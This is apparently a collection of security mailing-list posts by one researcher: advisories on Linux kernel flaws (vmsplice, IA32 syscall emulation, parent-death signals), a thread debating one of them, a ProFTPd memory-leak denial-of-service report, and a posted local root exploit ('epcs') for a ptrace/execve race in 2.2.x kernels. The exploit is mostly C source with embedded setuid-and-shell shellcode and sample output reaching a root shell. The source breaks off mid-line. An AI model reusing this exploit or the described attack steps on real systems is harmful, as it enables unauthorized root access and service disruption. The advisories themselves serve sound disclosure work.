CSA-L03: Linux kernel vmsplice unchecked user-pointer dereference
===[ ABSTRACT ]= A new vmsplice() system call was introduced in the 2.6.17 release of the Linux kernel. In the 2.6.23 kernel the system call functionality has been further extended resulting in two new critical vulnerabilities. ===[ AFFECTED SOFTWARE ] Linux 2.6.23 - 2.6.24 For the exact kernel version please refer to an information provided by your vendor. ===[ DESCRIPTION ]== VULNERABILITY #1 Inappropriate dereference of user-supplied memory pointers in the code beginning at line 1378 in the vmsplice_to_user() kernel function (fs/splice.c): ---8--- fs/splice.c:1378 ---8--- error = get_user(base, iov-iov_base); /* ... */ if (unlikely(!base)) { error = -EFAULT; break; } /* ... */ sd.u.userptr = base; /* ... */ size = __splice_from_pipe(pipe, sd, pipe_to_user); ---8--- fs/splice.c:1401 ---8--- The code lacks validation of these pointers (i.e. with access_ok()). The __splice_from_pipe() assumes these are valid user-memory pointers and never makes any verification of them. The function dereferences the pointers with __copy_to_user_inatomic() function (in pipe_to_user()) in order to write data to user-process memory in this case leading to possibility of arbitrary data (read from pipe) to arbitrary kernel memory. VULNERABILITY #2 The copy_from_user_mmap_sem() function copies data from user-process memory with the use of __copy_from_user_inatomic() without validating user-supplied pointer with access_ok(): ---8--- fs/splice.c:1188 ---8--- partial = __copy_from_user_inatomic(dst, src, n); ---8--- fs/splice.c:1188 ---8--- This vulnerability leads to indirect reading of arbitrary kernel memory. ===[ IMPACT ]=== Vulnerabilities may lead to local system compromise including execution of arbitrary machine code in the context of running kernel. Vulnerability #1 has been successfully exploited on Linux 2.6.24. Vulnerability #2 not tested. ===[ DISCLOSURE TIMELINE ]== 1st Feb 2008Vendor notification 8th Feb 2008Public disclosure ===[ AUTHOR ]=== Wojciech Purczynski [EMAIL PROTECTED] Wojciech Purczynski is a Security Researcher at Vulnerability Research Labs, COSEINC PTE Ltd. http://coseinc.com Wojciech Purczynski is also a member of iSEC Security Research http://isec.pl/ ===[ LEGAL DISCLAIMER ]= Copyright (c) 2008 Wojciech Purczynski Copyright (c) 2008 COSEINC PTE Ltd. All Rights Reserved. PUBLISHING, DISTRIBUTING, PRINTING, COPYING, SCANNING, DUPLICATING IN ANY FORM, MODIFYING WITHOUT PRIOR WRITTEN PERMISSION IS STRICTLY PROHIBITED. THE DOCUMENT IS PROVIDED AS IS WITHOUT WARRANTY OF ANY KIND. THE CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES, LOSSES OR UNLAWFUL OFFENCES. USE AT YOUR OWN RISK.
COSEINC Linux Advisory #2: IA32 System Call Emulation Vulnerability
===[ ABSTRACT ]= Insufficient validation of general-purpose register in IA32 system call emulation code may lead to local system compromise on x86_64 platform. ===[ AFFECTED SOFTWARE ] Linux 2.6 Linux 2.4 For the exact kernel version please refer to an information provided by your vendor. ===[ DESCRIPTION ]== On x86_64 platform the Linux kernel supports compatibility emulation for IA32 userland applications providing 32-bit system calls amongst other 32-bit resources. As a result of arch/x86_64/ia32/ia32entry.S code optimization invalid opcodes was used in the low level assembler routines providing insufficient validation of %RAX register in the following part of code (2.6): ---8--- sysenter_do_call: cmpl$(IA32_NR_syscalls-1),%eax ja ia32_badsys IA32_ARG_FIXUP 1 call*ia32_sys_call_table(,%rax,8) ---8--- cstar_do_call: cmpl $IA32_NR_syscalls-1,%eax ja ia32_badsys IA32_ARG_FIXUP 1 call *ia32_sys_call_table(,%rax,8) ---8--- ia32_do_syscall: cmpl $(IA32_NR_syscalls-1),%eax ja ia32_badsys IA32_ARG_FIXUP call *ia32_sys_call_table(,%rax,8) # xxx: rip relative ---8--- Improperly validated 64-bit values stored in the %RAX register may lead to out-of-bounds system call table access resulting in the ability to execute arbitrary code in the context of the Linux kernel. ===[ IMPACT ]=== Unprivileged local user may execute arbitrary code in the context of the Linux kernel running on x86_64 platform. ===[ DISCLOSURE TIMELINE ]== 18th September 2007 Vendor notification 24th September 2007 Public disclosure ===[ AUTHOR ]=== Wojciech Purczynski [EMAIL PROTECTED] Wojciech Purczynski is a Security Researcher at Vulnerability Research Labs, COSEINC PTE Ltd. Wojciech Purczynski is also a member of iSEC Security Research. ===[ LEGAL DISCLAIMER ]= Copyright (c) 2007 Wojciech Purczynski Copyright (c) 2007 COSEINC PTE Ltd. All Rights Reserved. PUBLISHING, DISTRIBUTING, PRINTING, COPYING, SCANNING, DUPLICATING IN ANY FORM, MODIFYING WITHOUT PRIOR WRITTEN PERMISSION IS STRICTLY PROHIBITED. THE DOCUMENT IS PROVIDED AS IS WITHOUT WARRANTY OF ANY KIND. THE CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES, LOSSES OR UNLAWFUL OFFENCES. USE AT YOUR OWN RISK.
Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability
Could you please explain it to me where do you see privilege escalation here? Sending a signal to privileged process is a privilege itself. Under some circumstances this may lead to other consequences. For example I was able to code local root exploit using some very common suid binary, although its usage is somewhat limited.
Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability
This doesn't change anything in what I said previously. If the sender's EUID or RUID equals to any of SUID or RUID of the victim or the sender process is root, the sender can send any signal to the victim; if none of those conditions are met, it obviously can't, no matter how and what signal it sends. For details look at check_kill_permission() and group_send_sig_info() in kernel/signal.c and reparent_thread() in kernel/exit.c in the kernel source tree (version 2.6.22). Dan, could you take a closer look at what setuid(0) does? In the beggining of setuid manual page you can read that: setuid sets the effective user ID of the current process. If the effective userid of the caller is root, the real and saved user ID's are also set. In this case check_kill_permission() returns -EPERM for unprivileged parent.
Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability
In my eyes this is definitely a security issue. But I cannot imagine a way to exploit this issue at the moment. First you have to find a suid binary which fork()'s. Next thing is that you need access to that binary. And then? If both conditions are really met, what's next? The possibilities are depending a little bit on the suid binary, am I right? Please feel free to correct me if I am wrong. You do not need suid that forks, you do the fork then child execves victim suid which then setuids and your parent execves another suid that exits or dies and thus the parent process death signal gets delivered to victim suid. It's all in my advisory.
Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability
In this case check_kill_permission() returns -EPERM for unprivileged parent. You always talked about setuid root process sending PDEATH_SIG to the root child, didn't you? check_kill_permission() checks current-euid and current-uid against t-uid and t-suid, where 'current' is the pointer to the task_struct of the sender, or, in our case, of the dying setuid root process, and 't' is the pointer to the task_struct of the root child. If one of those checks succeeds then the entire check_kill_permission() succeeds. current-euid is in our case 0, t-uid and t-suid are 0 too. So where is the problem? The problem is that without suid binary execved from parent process you can not send the signal. ;) With suid binary you can and that makes this issue a privilege escalation vulnerability.
COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability
===[ ABSTRACT ]= An unprivileged local user may send arbitrary signal to a child process despite security restrictions. ===[ AFFECTED SOFTWARE ] Linux 2.6 Linux 2.4 For the exact kernel version please refer to an information provided by your vendor. ===[ DESCRIPTION ]== Typically unprivileged user can not send signal to processes running with different UID. Due to vulnerability found in the Linux kernel any local user may bypass security restrictions and send arbitrary signal to any child process executed by the user. When a parent process dies or exits its child processes may receive a signal. Each child process may choose and set its own parent process death signal using PR_SET_PDEATHSIG function of the prctl() system call. PARENT CHILD fork() prctl(PR_SET_PDEATHSIG) exit()'ed or killed child receives the signal The parent process death signal is not reset over execve() system call and is inherited by spawned process: PARENT CHILD fork() prctl(PR_SET_PDEATHSIG) execve(./a.out) exit()'ed or killed child receives the signal The signal gets delivered only if parent process has sufficient privileges to send signals to child processes. Typically any child process running with higher privilege than its parent will receive no signal. PARENT CHILD fork() prctl(PR_SET_PDEATHSIG) execve(/bin/setuid-binary) exit()'ed or killed child receives NO signal this time However, above restriction may be bypassed if parent process execute setuid-root binary which dies afterwards. PARENT CHILD fork() prctl(PR_SET_PDEATHSIG) execve(/bin/setuid-binary) execve(/bin/setuid-binary) exit()'ed or killed privileged process receives the signal ===[ DISCLOSURE TIMELINE ]== 27th July 2007 Vendor notification 14th August 2007Public disclosure ===[ AUTHOR ]=== Wojciech Purczynski [EMAIL PROTECTED] Wojciech Purczynski is a Security Researcher at Vulnerability Research Labs, COSEINC PTE Ltd. Wojciech Purczynski is also a member of iSEC Security Research. ===[ LEGAL DISCLAIMER ]= Copyright (c) 2006,2007 Wojciech Purczynski Copyright (c) 2007 COSEINC PTE Ltd. All Rights Reserved. PUBLISHING, DISTRIBUTING, PRINTING, COPYING, SCANNING, DUPLICATING IN ANY FORM, MODIFYING WITHOUT PRIOR WRITTEN PERMISSION IS STRICTLY PROHIBITED. THE DOCUMENT IS PROVIDED AS IS WITHOUT WARRANTY OF ANY KIND. THE CONTENT MAY CHANGE WITHOUT NOTICE. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES, INJURIES, LOSSES OR UNLAWFUL OFFENCES. USE AT YOUR OWN RISK.
Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability
Small correction - I forgot to add setuid(0) ;) PARENT CHILD fork() prctl(PR_SET_PDEATHSIG) execve(/bin/setuid-binary) setuid(0) exit()'ed or killed child receives NO signal this time PARENT CHILD fork() prctl(PR_SET_PDEATHSIG) execve(/bin/setuid-binary) setuid(0) execve(/bin/setuid-binary) exit()'ed or killed privileged process receives the signal
Re: COSEINC Linux Advisory #1: Linux Kernel Parent Process Death Signal Vulnerability
I'm not sure this is a real security issue. If some process has the same effective UID as the given one, the former can always send any signal to the latter. Thus the behaviour you described is IMHO normal. It becomes a security issue whenever suid process drops user's UIDs.
ptrace/execve race condition exploit (non brute-force)
Hi, Here is exploit for ptrace/execve race condition bug in Linux kernels up to 2.2.18. It works even on openwall patched kernels (including broken fix in 2.2.18ow4) if you use address of BSS section in memory (use objdump -h /suid/binary to get .bss section address). It does not use brute-force! It does only one attemt, parent process detects exact moment of context-switch after child goes sleep in execve. If you have some problems, ensure that suid binary you want to sploit does not exist in disk cache. For more info read comments in the source code. It has been broken in two places. Sample output: [wp@wp /tmp]$ uname -a Linux wp.local.elzabsoft.pl 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown [wp@wp /tmp]$ objdump -h /bin/su | grep .bss 8 .rel.bss 0030 08048ca8 08048ca8 0ca8 2**2 21 .bss 00d4 0804bf04 0804bf04 2f04 2**2 [wp@wp /tmp]$ find / dev/null 21 [wp@wp /tmp]$ ./epcs /bin/su 0x0804bf04 Bug exploited successfully. sh-2.03# It works with any suid binary. Cheers, wp +-+ | Wojciech Purczyski Linux Administrator | | [EMAIL PROTECTED] http://www.elzabsoft.pl/~wp | | +48604432981http://www.elzabsoft.pl/~wp/gpg.asc | +-+ /* * epcs v2 * ~~~ * exploit for execve/ptrace race condition in Linux kernel up to 2.2.18 * * (c) 2001 Wojciech Purczynski / cliph / [EMAIL PROTECTED] * * This sploit does _not_ use brute force. It does not need that. * It does only one attemt to sploit the race condition in execve. * Parent process waits for a context-switch that occur after * child task sleep in execve. * * It should work even on openwall-patched kernels (I haven't tested it). * * Compile it: * cc epcs.c -o epcs * Usage: * ./epcs [victim] [address] * * It gives instant root shell with any of a suid binaries. * * If it does not work, try use some methods to ensure that execve * would sleep while loading binary file into memory, * * i.e.: cat /usr/lib/* /dev/null 21 * * Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4 * This exploit does not work on 2.4.x because kernel won't set suid * privileges if user ptraces a binary. * But it is still exploitable on these kernels. * * Thanks to Bulba (he made me to take a look at this bug ;) ) * Greetings to SigSegv team. * */ #include stdio.h #include fcntl.h #include sys/types.h #include signal.h #include linux/user.h #include sys/wait.h #include limits.h #include errno.h #include stdlib.h #define CS_SIGNAL SIGUSR1 #define VICTIM "/usr/bin/passwd" #define SHELL "/bin/sh" #define SHELL_LEN "\x07"/* strlen(SHELL) in hex */ #define SHELLCODE 0x/* address to put shellcode at */ /* * This is my private shellcode. * Offset 0x0a - executable's filename length. */ char shellcode[1024]= "\xeb\xfe" "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\x31\xc0\xb0\x2e\xcd\x80" "\x31\xc0\x50\xeb\x17\x8b\x1c\x24" /* execve(SHELL) */ "\x88\x43" SHELL_LEN "\x89\xe1\x8d\x54\x24" "\x04\xb0\x0b\xcd\x80\x31\xc0\x89" "\xc3\x40\xcd\x80\xe8\xe4\xff\xff" "\xff" SHELL ; volatile int cs_detector=0; void cs_sig_handler(int sig) { cs_detector=1; } void do_victim(char * filename) { while (!cs_detector) ; kill(getppid(), CS_SIGNAL); execl(filename, filename, NULL); perror("execl"); exit(-1); } int check_execve(pid_t victim, char * filename) { char path[PATH_MAX+1]; char link[PATH_MAX+1]; int res; snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim); if (readlink(path, link, sizeof(link)-1)0) { perror("readlink"); return -1; } link[sizeof(link)-1]='\0'; res=!strcmp(link, filename); if (res) fprintf(stderr, "Child slept outside of execve\n"); return res; } int main(int argc, char * argv[]) { char * filename=VICTIM; pid_t victim; int error, i; unsigned long eip=SHELLCODE; struct user_regs_struct regs; if (argc1) filename=argv[1]; if (argc2) eip=strtoul(argv[2], NULL, 16); signal(CS_SIGNAL, cs_sig_handler); victim=fork(); if (victim0) { perror("fork: victim"); exit(-1); } if (victim==0) do_victim(filename); kill(victim, CS_SIGNAL); while (!cs_detector) ; if (ptra
Re: Memory leakage in ProFTPd leads to remote DoS (SIZE FTP); (Exploit Code)
" ProFTPd has memory leakage bug when it executes the SIZE FTP command. By calling the FTP command SIZE 5000 times it possible to cause ProFTPd to consume over 300kB of memory. Exploiting this bug with more SIZE commands gives us simple DoS attack. Anonymous access is sufficient to use SIZE commands and to exploit this bug." This memory leakage occurs only if proftpd is improperly installed and /usr/local/var/proftpd directory does not exist or is not writable for proftpd. If proftpd is installed from RPM package this directory is /var/run/proftpd. The bug is in log_open_run() function in src/log.c file. The functions tries to open run-time scoreboard file in this directory for most (every?) command. Each time it allocates memory for scoreboard file name not freeing it leading to memory leakage. This time proftpd developers confirmed this bug. While playing with proftpd I discovered another memory leakage. The memory leakage may be exploited by entering many ,,USER nonexistentuser'' commands before login. No FTP access in needed in order to exploit this DoS. 1 USER commands causes proftpd to consume about 1,7MB. No patch is currently available to fix this bug. I use proftpd-1.2.0rc2 on RH 6.2. Confirmed also on 1.2.0pre10. Cheers, wp +----+ | Wojciech Purczynski [EMAIL PROTECTED] http://www.elzabsoft.pl/~wp | | GSM: +48604432981 Linux Administrator SMS: [EMAIL PROTECTED] | +-- Public GnuPG Key: http://www.elzabsoft.pl/~wp/gpg.asc --+